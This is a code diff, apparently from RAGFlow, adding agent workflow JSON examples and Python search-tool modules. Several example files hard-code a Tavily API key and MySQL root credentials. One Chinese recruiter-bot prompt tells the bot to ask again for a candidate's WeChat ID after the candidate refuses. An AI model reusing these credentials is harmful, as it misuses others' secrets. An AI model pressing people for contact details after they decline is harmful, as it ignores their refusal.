+ "category_description": {
+ "product_related": {
+ "description": "The question is about the product usage, appearance and how it works.",
+ "to": ["agent:0"]
+ },
+ "others": {
+ "description": "The question is not about the product usage, appearance and how it works.",
+ "to": ["message:0"]
+ }
+ }
+ }
+ },
+ "downstream": [],
+ "upstream": ["begin"]
+ },
+ "message:0": {
+ "obj":{
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "Sorry, I don't know. I'm an AI bot."
+ ]
+ }
+ },
+ "downstream": [],
+ "upstream": ["categorize:0"]
+ },
+ "agent:0": {
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "llm_id": "deepseek-chat",
+ "sys_prompt": "You are a smart researcher. You could generate proper queries to search. According to the search results, you could deside next query if the result is not enough.",
+ "temperature": 0.2,
+ "llm_enabled_tools": [
+ {
+ "component_name": "TavilySearch",
+ "params": {
+ "api_key": "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"
+ }
+ }
+ ]
+ }
+ },
+ "downstream": ["message:1"],
+ "upstream": ["categorize:0"]
+ },
+ "message:1": {
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": ["{agent:0@content}"]
+ }
+ },
+ "downstream": [],
+ "upstream": ["agent:0"]
+ }
+ },
+ "history": [],
+ "path": [],
+ "retrival": {"chunks": [], "doc_aggs": []},
+ "globals": {
+ "sys.query": "",
+ "sys.user_id": "",
+ "sys.conversation_turns": 0,
+ "sys.files": []
+ }
+}
\ No newline at end of file
diff --git a/agent/test/dsl_examples/exesql.json b/agent/test/dsl_examples/exesql.json
new file mode 100644
index 0000000..7e26587
--- /dev/null
+++ b/agent/test/dsl_examples/exesql.json
@@ -0,0 +1,43 @@
+{
+ "components": {
+ "begin": {
+ "obj":{
+ "component_name": "Begin",
+ "params": {
+ "prologue": "Hi there!"
+ }
+ },
+ "downstream": ["answer:0"],
+ "upstream": []
+ },
+ "answer:0": {
+ "obj": {
+ "component_name": "Answer",
+ "params": {}
+ },
+ "downstream": ["exesql:0"],
+ "upstream": ["begin", "exesql:0"]
+ },
+ "exesql:0": {
+ "obj": {
+ "component_name": "ExeSQL",
+ "params": {
+ "database": "rag_flow",
+ "username": "root",
+ "host": "mysql",
+ "port": 3306,
+ "password": "infini_rag_flow",
+ "top_n": 3
+ }
+ },
+ "downstream": ["answer:0"],
+ "upstream": ["answer:0"]
+ }
+ },
+ "history": [],
+ "messages": [],
+ "reference": {},
+ "path": [],
+ "answer": []
+}
+
diff --git a/agent/test/dsl_examples/headhunter_zh.json b/agent/test/dsl_examples/headhunter_zh.json
new file mode 100644
index 0000000..6e4abc8
--- /dev/null
+++ b/agent/test/dsl_examples/headhunter_zh.json
@@ -0,0 +1,210 @@
+{
+ "components": {
+ "begin": {
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "prologue": "您好!我是AGI方向的猎头,了解到您是这方面的大佬,然后冒昧的就联系到您。这边有个机会想和您分享,RAGFlow正在招聘您这个岗位的资深的工程师不知道您那边是不是感兴趣?"
+ }
+ },
+ "downstream": ["answer:0"],
+ "upstream": []
+ },
+ "answer:0": {
+ "obj": {
+ "component_name": "Answer",
+ "params": {}
+ },
+ "downstream": ["categorize:0"],
+ "upstream": ["begin", "message:reject"]
+ },
+ "categorize:0": {
+ "obj": {
+ "component_name": "Categorize",
+ "params": {
+ "llm_id": "deepseek-chat",
+ "category_description": {
+ "about_job": {
+ "description": "该问题关于职位本身或公司的信息。",
+ "examples": "什么岗位?\n汇报对象是谁?\n公司多少人?\n公司有啥产品?\n具体工作内容是啥?\n地点哪里?\n双休吗?",
+ "to": "retrieval:0"
+ },
+ "casual": {
+ "description": "该问题不关于职位本身或公司的信息,属于闲聊。",
+ "examples": "你好\n好久不见\n你男的女的?\n你是猴子派来的救兵吗?\n上午开会了?\n你叫啥?\n最近市场如何?生意好做吗?",
+ "to": "generate:casual"
+ },
+ "interested": {
+ "description": "该回答表示他对于该职位感兴趣。",
+ "examples": "嗯\n说吧\n说说看\n还好吧\n是的\n哦\nyes\n具体说说",
+ "to": "message:introduction"
+ },
+ "answer": {
+ "description": "该回答表示他对于该职位不感兴趣,或感觉受到骚扰。",
+ "examples": "不需要\n不感兴趣\n暂时不看\n不要\nno\n我已经不干这个了\n我不是这个方向的",
+ "to": "message:reject"
+ }
+ }
+ }
+ },
+ "downstream": [
+ "message:introduction",
+ "generate:casual",
+ "message:reject",
+ "retrieval:0"
+ ],
+ "upstream": ["answer:0"]
+ },
+ "message:introduction": {
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "messages": [
+ "我简单介绍以下:\nRAGFlow 是一款基于深度文档理解构建的开源 RAG(Retrieval-Augmented Generation)引擎。RAGFlow 可以为各种规模的企业及个人提供一套精简的 RAG 工作流程,结合大语言模型(LLM)针对用户各类不同的复杂格式数据提供可靠的问答以及有理有据的引用。https://github.com/infiniflow/ragflow\n您那边还有什么要了解的?"
+ ]
+ }
+ },
+ "downstream": ["answer:1"],
+ "upstream": ["categorize:0"]
+ },
+ "answer:1": {
+ "obj": {
+ "component_name": "Answer",
+ "params": {}
+ },
+ "downstream": ["categorize:1"],
+ "upstream": [
+ "message:introduction",
+ "generate:aboutJob",
+ "generate:casual",
+ "generate:get_wechat",
+ "generate:nowechat"
+ ]
+ },
+ "categorize:1": {
+ "obj": {
+ "component_name": "Categorize",
+ "params": {
+ "llm_id": "deepseek-chat",
+ "category_description": {
+ "about_job": {
+ "description": "该问题关于职位本身或公司的信息。",
+ "examples": "什么岗位?\n汇报对象是谁?\n公司多少人?\n公司有啥产品?\n具体工作内容是啥?\n地点哪里?\n双休吗?",
+ "to": "retrieval:0"
+ },
+ "casual": {
+ "description": "该问题不关于职位本身或公司的信息,属于闲聊。",
+ "examples": "你好\n好久不见\n你男的女的?\n你是猴子派来的救兵吗?\n上午开会了?\n你叫啥?\n最近市场如何?生意好做吗?",
+ "to": "generate:casual"
+ },
+ "wechat": {
+ "description": "该回答表示他愿意加微信,或者已经报了微信号。",
+ "examples": "嗯\n可以\n是的\n哦\nyes\n15002333453\nwindblow_2231",
+ "to": "generate:get_wechat"
+ },
+ "giveup": {
+ "description": "该回答表示他不愿意加微信。",
+ "examples": "不需要\n不感兴趣\n暂时不看\n不要\nno\n不方便\n不知道还要加我微信",
+ "to": "generate:nowechat"
+ }
+ },
+ "message_history_window_size": 8
+ }
+ },
+ "downstream": [
+ "retrieval:0",
+ "generate:casual",
+ "generate:get_wechat",
+ "generate:nowechat"
+ ],
+ "upstream": ["answer:1"]
+ },
+ "generate:casual": {
+ "obj": {
+ "component_name": "Generate",
+ "params": {
+ "llm_id": "deepseek-chat",
+ "prompt": "你是AGI方向的猎头,现在候选人的聊了和职位无关的话题,请耐心的回应候选人,并将话题往该AGI的职位上带,最好能要到候选人微信号以便后面保持联系。",
+ "temperature": 0.9,
+ "message_history_window_size": 12,
+ "cite": false
+ }
+ },
+ "downstream": ["answer:1"],
+ "upstream": ["categorize:0", "categorize:1"]
+ },
+ "retrieval:0": {
+ "obj": {
+ "component_name": "Retrieval",
+ "params": {
+ "similarity_threshold": 0.2,
+ "keywords_similarity_weight": 0.3,
+ "top_n": 6,
+ "top_k": 1024,
+ "rerank_id": "BAAI/bge-reranker-v2-m3",
+ "kb_ids": ["869a236818b811ef91dffa163e197198"]
+ }
+ },
+ "downstream": ["generate:aboutJob"],
+ "upstream": ["categorize:0", "categorize:1"]
+ },
+ "generate:aboutJob": {
+ "obj": {
+ "component_name": "Generate",
+ "params": {
+ "llm_id": "deepseek-chat",
+ "prompt": "你是AGI方向的猎头,候选人问了有关职位或公司的问题,你根据以下职位信息回答。如果职位信息中不包含候选人的问题就回答不清楚、不知道、有待确认等。回答完后引导候选人加微信号,如:\n - 方便加一下微信吗,我把JD发您看看?\n - 微信号多少,我把详细职位JD发您?\n 职位信息如下:\n {input}\n 职位信息如上。",
+ "temperature": 0.02
+ }
+ },
+ "downstream": ["answer:1"],
+ "upstream": ["retrieval:0"]
+ },
+ "generate:get_wechat": {
+ "obj": {
+ "component_name": "Generate",
+ "params": {
+ "llm_id": "deepseek-chat",
+ "prompt": "你是AGI方向的猎头,候选人表示不反感加微信,如果对方已经报了微信号,表示感谢和信任并表示马上会加上;如果没有,则问对方微信号多少。你的微信号是weixin_kevin,E-mail是kkk@ragflow.com。说话不要重复。不要总是您好。",
+ "temperature": 0.1,
+ "message_history_window_size": 12,
+ "cite": false
+ }
+ },
+ "downstream": ["answer:1"],
+ "upstream": ["categorize:1"]
+ },
+ "generate:nowechat": {
+ "obj": {
+ "component_name": "Generate",
+ "params": {
+ "llm_id": "deepseek-chat",
+ "prompt": "你是AGI方向的猎头,当你提出加微信时对方表示拒绝。你需要耐心礼貌的回应候选人,表示对于保护隐私信息给予理解,也可以询问他对该职位的看法和顾虑。并在恰当的时机再次询问微信联系方式。也可以鼓励候选人主动与你取得联系。你的微信号是weixin_kevin,E-mail是kkk@ragflow.com。说话不要重复。不要总是您好。",
+ "temperature": 0.1,
+ "message_history_window_size": 12,
+ "cite": false
+ }
+ },
+ "downstream": ["answer:1"],
+ "upstream": ["categorize:1"]
+ },
+ "message:reject": {
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "messages": [
+ "好的,祝您生活愉快,工作顺利。",
+ "哦,好的,感谢您宝贵的时间!"
+ ]
+ }
+ },
+ "downstream": ["answer:0"],
+ "upstream": ["categorize:0"]
+ }
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "reference": [],
+ "answer": []
+}
diff --git a/agent/test/dsl_examples/iteration.json b/agent/test/dsl_examples/iteration.json
new file mode 100644
index 0000000..dd44484
--- /dev/null
+++ b/agent/test/dsl_examples/iteration.json
@@ -0,0 +1,92 @@
+{
+ "components": {
+ "begin": {
+ "obj":{
+ "component_name": "Begin",
+ "params": {
+ "prologue": "Hi there!"
+ }
+ },
+ "downstream": ["generate:0"],
+ "upstream": []
+ },
+ "generate:0": {
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "llm_id": "deepseek-chat",
+ "sys_prompt": "You are an helpful research assistant. \nPlease decompose user's topic: '{sys.query}' into several meaningful sub-topics. \nThe output format MUST be an string array like: [\"sub-topic1\", \"sub-topic2\", ...]. Redundant information is forbidden.",
+ "temperature": 0.2,
+ "cite":false,
+ "output_structure": ["sub-topic1", "sub-topic2", "sub-topic3"]
+ }
+ },
+ "downstream": ["iteration:0"],
+ "upstream": ["begin"]
+ },
+ "iteration:0": {
+ "obj": {
+ "component_name": "Iteration",
+ "params": {
+ "items_ref": "generate:0@structured_content"
+ }
+ },
+ "downstream": ["message:0"],
+ "upstream": ["generate:0"]
+ },
+ "iterationitem:0": {
+ "obj": {
+ "component_name": "IterationItem",
+ "params": {}
+ },
+ "parent_id": "iteration:0",
+ "downstream": ["tavily:0"],
+ "upstream": []
+ },
+ "tavily:0": {
+ "obj": {
+ "component_name": "TavilySearch",
+ "params": {
+ "api_key": "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",
+ "query": "iterationitem:0@result"
+ }
+ },
+ "parent_id": "iteration:0",
+ "downstream": ["generate:1"],
+ "upstream": ["iterationitem:0"]
+ },
+ "generate:1": {
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "llm_id": "deepseek-chat",
+ "sys_prompt": "Your goal is to provide answers based on information from the internet. \nYou must use the provided search results to find relevant online information. \nYou should never use your own knowledge to answer questions.\nPlease include relevant url sources in the end of your answers.\n\n \"{tavily:0@formalized_content}\" \nUsing the above information, answer the following question or topic: \"{iterationitem:0@result} \"\nin a detailed report — The report should focus on the answer to the question, should be well structured, informative, in depth, with facts and numbers if available, a minimum of 200 words and with markdown syntax and apa format. Write all source urls at the end of the report in apa format. You should write your report only based on the given information and nothing else.",
+ "temperature": 0.9,
+ "cite":false
+ }
+ },
+ "parent_id": "iteration:0",
+ "downstream": ["iterationitem:0"],
+ "upstream": ["tavily:0"]
+ },
+ "message:0": {
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": ["{iteration:0@generate:1}"]
+ }
+ },
+ "downstream": [],
+ "upstream": ["iteration:0"]
+ }
+ },
+ "history": [],
+ "path": [],
+ "retrival": {"chunks": [], "doc_aggs": []},
+ "globals": {
+ "sys.query": "",
+ "sys.user_id": "",
+ "sys.conversation_turns": 0,
+ "sys.files": []
+ }
+}
\ No newline at end of file
diff --git a/agent/test/dsl_examples/retrieval_and_generate.json b/agent/test/dsl_examples/retrieval_and_generate.json
new file mode 100644
index 0000000..9f9f9ba
--- /dev/null
+++ b/agent/test/dsl_examples/retrieval_and_generate.json
@@ -0,0 +1,61 @@
+{
+ "components": {
+ "begin": {
+ "obj":{
+ "component_name": "Begin",
+ "params": {
+ "prologue": "Hi there!"
+ }
+ },
+ "downstream": ["retrieval:0"],
+ "upstream": []
+ },
+ "retrieval:0": {
+ "obj": {
+ "component_name": "Retrieval",
+ "params": {
+ "similarity_threshold": 0.2,
+ "keywords_similarity_weight": 0.3,
+ "top_n": 6,
+ "top_k": 1024,
+ "rerank_id": "",
+ "empty_response": "Nothing found in dataset",
+ "kb_ids": ["1a3d1d7afb0611ef9866047c16ec874f"]
+ }
+ },
+ "downstream": ["generate:0"],
+ "upstream": ["begin"]
+ },
+ "generate:0": {
+ "obj": {
+ "component_name": "LLM",
+ "params": {
+ "llm_id": "deepseek-chat",
+ "sys_prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n Here is the knowledge base:\n {retrieval:0@formalized_content}\n The above is the knowledge base.",
+ "temperature": 0.2
+ }
+ },
+ "downstream": ["message:0"],
+ "upstream": ["retrieval:0"]
+ },
+ "message:0": {
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": ["{generate:0@content}"]
+ }
+ },
+ "downstream": [],
+ "upstream": ["generate:0"]
+ }
+ },
+ "history": [],
+ "path": [],
+ "retrival": {"chunks": [], "doc_aggs": []},
+ "globals": {
+ "sys.query": "",
+ "sys.user_id": "",
+ "sys.conversation_turns": 0,
+ "sys.files": []
+ }
+}
\ No newline at end of file
diff --git a/agent/test/dsl_examples/retrieval_categorize_and_generate.json b/agent/test/dsl_examples/retrieval_categorize_and_generate.json
new file mode 100644
index 0000000..c506b9a
--- /dev/null
+++ b/agent/test/dsl_examples/retrieval_categorize_and_generate.json
@@ -0,0 +1,95 @@
+{
+ "components": {
+ "begin": {
+ "obj":{
+ "component_name": "Begin",
+ "params": {
+ "prologue": "Hi there!"
+ }
+ },
+ "downstream": ["categorize:0"],
+ "upstream": []
+ },
+ "categorize:0": {
+ "obj": {
+ "component_name": "Categorize",
+ "params": {
+ "llm_id": "deepseek-chat",
+ "category_description": {
+ "product_related": {
+ "description": "The question is about the product usage, appearance and how it works.",
+ "examples": [],
+ "to": ["retrieval:0"]
+ },
+ "others": {
+ "description": "The question is not about the product usage, appearance and how it works.",
+ "examples": [],
+ "to": ["message:0"]
+ }
+ }
+ }
+ },
+ "downstream": [],
+ "upstream": ["begin"]
+ },
+ "message:0": {
+ "obj":{
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "Sorry, I don't know. I'm an AI bot."
+ ]
+ }
+ },
+ "downstream": [],
+ "upstream": ["categorize:0"]
+ },
+ "retrieval:0": {
+ "obj": {
+ "component_name": "Retrieval",
+ "params": {
+ "similarity_threshold": 0.2,
+ "keywords_similarity_weight": 0.3,
+ "top_n": 6,
+ "top_k": 1024,
+ "rerank_id": "",
+ "empty_response": "Nothing found in dataset",
+ "kb_ids": ["1a3d1d7afb0611ef9866047c16ec874f"]
+ }
+ },
+ "downstream": ["generate:0"],
+ "upstream": ["categorize:0"]
+ },
+ "generate:0": {
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "llm_id": "deepseek-chat",
+ "sys_prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n Here is the knowledge base:\n {retrieval:0@formalized_content}\n The above is the knowledge base.",
+ "temperature": 0.2
+ }
+ },
+ "downstream": ["message:1"],
+ "upstream": ["retrieval:0"]
+ },
+ "message:1": {
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": ["{generate:0@content}"]
+ }
+ },
+ "downstream": [],
+ "upstream": ["generate:0"]
+ }
+ },
+ "history": [],
+ "path": [],
+ "retrival": {"chunks": [], "doc_aggs": []},
+ "globals": {
+ "sys.query": "",
+ "sys.user_id": "",
+ "sys.conversation_turns": 0,
+ "sys.files": []
+ }
+}
\ No newline at end of file
diff --git a/agent/test/dsl_examples/tavily_and_generate.json b/agent/test/dsl_examples/tavily_and_generate.json
new file mode 100644
index 0000000..f2f79b4
--- /dev/null
+++ b/agent/test/dsl_examples/tavily_and_generate.json
@@ -0,0 +1,55 @@
+{
+ "components": {
+ "begin": {
+ "obj":{
+ "component_name": "Begin",
+ "params": {
+ "prologue": "Hi there!"
+ }
+ },
+ "downstream": ["tavily:0"],
+ "upstream": []
+ },
+ "tavily:0": {
+ "obj": {
+ "component_name": "TavilySearch",
+ "params": {
+ "api_key": "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"
+ }
+ },
+ "downstream": ["generate:0"],
+ "upstream": ["begin"]
+ },
+ "generate:0": {
+ "obj": {
+ "component_name": "LLM",
+ "params": {
+ "llm_id": "deepseek-chat",
+ "sys_prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n Here is the knowledge base:\n {tavily:0@formalized_content}\n The above is the knowledge base.",
+ "temperature": 0.2
+ }
+ },
+ "downstream": ["message:0"],
+ "upstream": ["tavily:0"]
+ },
+ "message:0": {
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": ["{generate:0@content}"]
+ }
+ },
+ "downstream": [],
+ "upstream": ["generate:0"]
+ }
+ },
+ "history": [],
+ "path": [],
+ "retrival": {"chunks": [], "doc_aggs": []},
+ "globals": {
+ "sys.query": "",
+ "sys.user_id": "",
+ "sys.conversation_turns": 0,
+ "sys.files": []
+ }
+}
\ No newline at end of file
diff --git a/agent/tools/__init__.py b/agent/tools/__init__.py
new file mode 100644
index 0000000..e002614
--- /dev/null
+++ b/agent/tools/__init__.py
@@ -0,0 +1,48 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import os
+import importlib
+import inspect
+from types import ModuleType
+from typing import Dict, Type
+
+_package_path = os.path.dirname(__file__)
+__all_classes: Dict[str, Type] = {}
+
+def _import_submodules() -> None:
+ for filename in os.listdir(_package_path): # noqa: F821
+ if filename.startswith("__") or not filename.endswith(".py") or filename.startswith("base"):
+ continue
+ module_name = filename[:-3]
+
+ try:
+ module = importlib.import_module(f".{module_name}", package=__name__)
+ _extract_classes_from_module(module) # noqa: F821
+ except ImportError as e:
+ print(f"Warning: Failed to import module {module_name}: {str(e)}")
+
+def _extract_classes_from_module(module: ModuleType) -> None:
+ for name, obj in inspect.getmembers(module):
+ if (inspect.isclass(obj) and
+ obj.__module__ == module.__name__ and not name.startswith("_")):
+ __all_classes[name] = obj
+ globals()[name] = obj
+
+_import_submodules()
+
+__all__ = list(__all_classes.keys()) + ["__all_classes"]
+
+del _package_path, _import_submodules, _extract_classes_from_module
\ No newline at end of file
diff --git a/agent/tools/akshare.py b/agent/tools/akshare.py
new file mode 100644
index 0000000..a3ce3eb
--- /dev/null
+++ b/agent/tools/akshare.py
@@ -0,0 +1,56 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from abc import ABC
+import pandas as pd
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class AkShareParam(ComponentParamBase):
+ """
+ Define the AkShare component parameters.
+ """
+
+ def __init__(self):
+ super().__init__()
+ self.top_n = 10
+
+ def check(self):
+ self.check_positive_integer(self.top_n, "Top N")
+
+
+class AkShare(ComponentBase, ABC):
+ component_name = "AkShare"
+
+ def _run(self, history, **kwargs):
+ import akshare as ak
+ ans = self.get_input()
+ ans = ",".join(ans["content"]) if "content" in ans else ""
+ if not ans:
+ return AkShare.be_output("")
+
+ try:
+ ak_res = []
+ stock_news_em_df = ak.stock_news_em(symbol=ans)
+ stock_news_em_df = stock_news_em_df.head(self._param.top_n)
+ ak_res = [{"content": '' + i["新闻标题"] + ' \n 新闻内容: ' + i[
+ "新闻内容"] + " \n发布时间:" + i["发布时间"] + " \n文章来源: " + i["文章来源"]} for index, i in stock_news_em_df.iterrows()]
+ except Exception as e:
+ return AkShare.be_output("**ERROR**: " + str(e))
+
+ if not ak_res:
+ return AkShare.be_output("")
+
+ return pd.DataFrame(ak_res)
diff --git a/agent/tools/arxiv.py b/agent/tools/arxiv.py
new file mode 100644
index 0000000..616afa3
--- /dev/null
+++ b/agent/tools/arxiv.py
@@ -0,0 +1,102 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import time
+from abc import ABC
+import arxiv
+from agent.tools.base import ToolParamBase, ToolMeta, ToolBase
+from api.utils.api_utils import timeout
+
+
+class ArXivParam(ToolParamBase):
+ """
+ Define the ArXiv component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "arxiv_search",
+ "description": """arXiv is a free distribution service and an open-access archive for nearly 2.4 million scholarly articles in the fields of physics, mathematics, computer science, quantitative biology, quantitative finance, statistics, electrical engineering and systems science, and economics. Materials on this site are not peer-reviewed by arXiv.""",
+ "parameters": {
+ "query": {
+ "type": "string",
+ "description": "The search keywords to execute with arXiv. The keywords should be the most important words/terms(includes synonyms) from the original request.",
+ "default": "{sys.query}",
+ "required": True
+ }
+ }
+ }
+ super().__init__()
+ self.top_n = 12
+ self.sort_by = 'submittedDate'
+
+ def check(self):
+ self.check_positive_integer(self.top_n, "Top N")
+ self.check_valid_value(self.sort_by, "ArXiv Search Sort_by",
+ ['submittedDate', 'lastUpdatedDate', 'relevance'])
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "query": {
+ "name": "Query",
+ "type": "line"
+ }
+ }
+
+
+class ArXiv(ToolBase, ABC):
+ component_name = "ArXiv"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12)))
+ def _invoke(self, **kwargs):
+ if not kwargs.get("query"):
+ self.set_output("formalized_content", "")
+ return ""
+
+ last_e = ""
+ for _ in range(self._param.max_retries+1):
+ try:
+ sort_choices = {"relevance": arxiv.SortCriterion.Relevance,
+ "lastUpdatedDate": arxiv.SortCriterion.LastUpdatedDate,
+ 'submittedDate': arxiv.SortCriterion.SubmittedDate}
+ arxiv_client = arxiv.Client()
+ search = arxiv.Search(
+ query=kwargs["query"],
+ max_results=self._param.top_n,
+ sort_by=sort_choices[self._param.sort_by]
+ )
+ self._retrieve_chunks(list(arxiv_client.results(search)),
+ get_title=lambda r: r.title,
+ get_url=lambda r: r.pdf_url,
+ get_content=lambda r: r.summary)
+ return self.output("formalized_content")
+ except Exception as e:
+ last_e = e
+ logging.exception(f"ArXiv error: {e}")
+ time.sleep(self._param.delay_after_error)
+
+ if last_e:
+ self.set_output("_ERROR", str(last_e))
+ return f"ArXiv error: {last_e}"
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ return """
+Keywords: {}
+Looking for the most relevant articles.
+ """.format(self.get_input().get("query", "-_-!"))
diff --git a/agent/tools/base.py b/agent/tools/base.py
new file mode 100644
index 0000000..e775615
--- /dev/null
+++ b/agent/tools/base.py
@@ -0,0 +1,173 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import re
+import time
+from copy import deepcopy
+from functools import partial
+from typing import TypedDict, List, Any
+from agent.component.base import ComponentParamBase, ComponentBase
+from api.utils import hash_str2int
+from rag.llm.chat_model import ToolCallSession
+from rag.prompts.generator import kb_prompt
+from rag.utils.mcp_tool_call_conn import MCPToolCallSession
+from timeit import default_timer as timer
+
+
+class ToolParameter(TypedDict):
+ type: str
+ description: str
+ displayDescription: str
+ enum: List[str]
+ required: bool
+
+
+class ToolMeta(TypedDict):
+ name: str
+ displayName: str
+ description: str
+ displayDescription: str
+ parameters: dict[str, ToolParameter]
+
+
+class LLMToolPluginCallSession(ToolCallSession):
+ def __init__(self, tools_map: dict[str, object], callback: partial):
+ self.tools_map = tools_map
+ self.callback = callback
+
+ def tool_call(self, name: str, arguments: dict[str, Any]) -> Any:
+ assert name in self.tools_map, f"LLM tool {name} does not exist"
+ st = timer()
+ if isinstance(self.tools_map[name], MCPToolCallSession):
+ resp = self.tools_map[name].tool_call(name, arguments, 60)
+ else:
+ resp = self.tools_map[name].invoke(**arguments)
+
+ self.callback(name, arguments, resp, elapsed_time=timer()-st)
+ return resp
+
+ def get_tool_obj(self, name):
+ return self.tools_map[name]
+
+
+class ToolParamBase(ComponentParamBase):
+ def __init__(self):
+ #self.meta:ToolMeta = None
+ super().__init__()
+ self._init_inputs()
+ self._init_attr_by_meta()
+
+ def _init_inputs(self):
+ self.inputs = {}
+ for k,p in self.meta["parameters"].items():
+ self.inputs[k] = deepcopy(p)
+
+ def _init_attr_by_meta(self):
+ for k,p in self.meta["parameters"].items():
+ if not hasattr(self, k):
+ setattr(self, k, p.get("default"))
+
+ def get_meta(self):
+ params = {}
+ for k, p in self.meta["parameters"].items():
+ params[k] = {
+ "type": p["type"],
+ "description": p["description"]
+ }
+ if "enum" in p:
+ params[k]["enum"] = p["enum"]
+
+ desc = self.meta["description"]
+ if hasattr(self, "description"):
+ desc = self.description
+
+ function_name = self.meta["name"]
+ if hasattr(self, "function_name"):
+ function_name = self.function_name
+
+ return {
+ "type": "function",
+ "function": {
+ "name": function_name,
+ "description": desc,
+ "parameters": {
+ "type": "object",
+ "properties": params,
+ "required": [k for k, p in self.meta["parameters"].items() if p["required"]]
+ }
+ }
+ }
+
+
+class ToolBase(ComponentBase):
+ def __init__(self, canvas, id, param: ComponentParamBase):
+ from agent.canvas import Canvas # Local import to avoid cyclic dependency
+ assert isinstance(canvas, Canvas), "canvas must be an instance of Canvas"
+ self._canvas = canvas
+ self._id = id
+ self._param = param
+ self._param.check()
+
+ def get_meta(self) -> dict[str, Any]:
+ return self._param.get_meta()
+
+ def invoke(self, **kwargs):
+ self.set_output("_created_time", time.perf_counter())
+ try:
+ res = self._invoke(**kwargs)
+ except Exception as e:
+ self._param.outputs["_ERROR"] = {"value": str(e)}
+ logging.exception(e)
+ res = str(e)
+ self._param.debug_inputs = []
+
+ self.set_output("_elapsed_time", time.perf_counter() - self.output("_created_time"))
+ return res
+
+ def _retrieve_chunks(self, res_list: list, get_title, get_url, get_content, get_score=None):
+ chunks = []
+ aggs = []
+ for r in res_list:
+ content = get_content(r)
+ if not content:
+ continue
+ content = re.sub(r"!?\[[a-z]+\]\(data:image/png;base64,[ 0-9A-Za-z/_=+-]+\)", "", content)
+ content = content[:10000]
+ if not content:
+ continue
+ id = str(hash_str2int(content))
+ title = get_title(r)
+ url = get_url(r)
+ score = get_score(r) if get_score else 1
+ chunks.append({
+ "chunk_id": id,
+ "content": content,
+ "doc_id": id,
+ "docnm_kwd": title,
+ "similarity": score,
+ "url": url
+ })
+ aggs.append({
+ "doc_name": title,
+ "doc_id": id,
+ "count": 1,
+ "url": url
+ })
+ self._canvas.add_reference(chunks, aggs)
+ self.set_output("formalized_content", "\n".join(kb_prompt({"chunks": chunks, "doc_aggs": aggs}, 200000, True)))
+
+ def thoughts(self) -> str:
+ return self._canvas.get_component_name(self._id) + " is running..."
\ No newline at end of file
diff --git a/agent/tools/code_exec.py b/agent/tools/code_exec.py
new file mode 100644
index 0000000..6bd1af3
--- /dev/null
+++ b/agent/tools/code_exec.py
@@ -0,0 +1,201 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
